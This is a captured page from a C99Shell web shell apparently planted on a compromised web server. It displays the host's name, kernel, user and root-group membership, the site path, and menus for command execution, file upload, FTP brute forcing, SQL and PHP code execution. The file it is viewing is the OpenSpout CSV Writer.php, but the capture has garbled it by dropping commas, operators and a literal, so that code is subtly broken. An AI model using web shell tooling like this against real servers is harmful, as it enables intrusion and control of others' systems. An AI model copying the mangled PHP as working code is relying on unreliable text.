!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/openspout/openspout/src/Writer/CSV/   drwxr-xr-x
Free 28.68 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Writer.php (2.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
OpenSpout\Writer\CSV;

use 
OpenSpout\Common\Entity\Cell;
use 
OpenSpout\Common\Entity\Row;
use 
OpenSpout\Common\Exception\IOException;
use 
OpenSpout\Common\Helper\EncodingHelper;
use 
OpenSpout\Writer\AbstractWriter;

final class 
Writer extends AbstractWriter
{
    
/** @var string Content-Type value for the header */
    
protected static string $headerContentType 'text/csv; charset=UTF-8';

    private readonly 
Options $options;

    private 
int $lastWrittenRowIndex 0;

    public function 
__construct(?Options $options null)
    {
        
$this->options $options ?? new Options();
    }

    public function 
getOptions(): Options
    
{
        return 
$this->options;
    }

    
/**
     * Opens the CSV streamer and makes it ready to accept data.
     */
    
protected function openWriter(): void
    
{
        if (
$this->options->SHOULD_ADD_BOM) {
            
// Adds UTF-8 BOM for Unicode compatibility
            
fwrite($this->filePointerEncodingHelper::BOM_UTF8);
        }
    }

    
/**
     * Adds a row to the currently opened writer.
     *
     * @param Row $row The row containing cells and styles
     *
     * @throws IOException If unable to write data
     */
    
protected function addRowToWriter(Row $row): void
    
{
        
$cells array_map(static function (Cell\BooleanCell|Cell\DateIntervalCell|Cell\DateTimeCell|Cell\EmptyCell|Cell\FormulaCell|Cell\NumericCell|Cell\StringCell $value): string {
            if (
$value instanceof Cell\BooleanCell) {
                return (string) (int) 
$value->getValue();
            }
            if (
$value instanceof Cell\DateTimeCell) {
                return 
$value->getValue()->format(DATE_ATOM);
            }
            if (
$value instanceof Cell\DateIntervalCell) {
                return 
$value->getValue()->format('P%yY%mM%dDT%hH%iM%sS%fF');
            }

            return (string) 
$value->getValue();
        }, 
$row->getCells());

        
$wasWriteSuccessful fputcsv(
            
$this->filePointer,
            
$cells,
            
$this->options->FIELD_DELIMITER,
            
$this->options->FIELD_ENCLOSURE,
            
''
        
);
        if (
false === $wasWriteSuccessful) {
            throw new 
IOException('Unable to write data'); // @codeCoverageIgnore
        
}

        ++
$this->lastWrittenRowIndex;
        if (
=== $this->lastWrittenRowIndex $this->options->FLUSH_THRESHOLD) {
            
fflush($this->filePointer);
        }
    }

    
/**
     * Closes the CSV streamer, preventing any additional writing.
     * If set, sets the headers and redirects output to the browser.
     */
    
protected function closeWriter(): void
    
{
        
$this->lastWrittenRowIndex 0;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--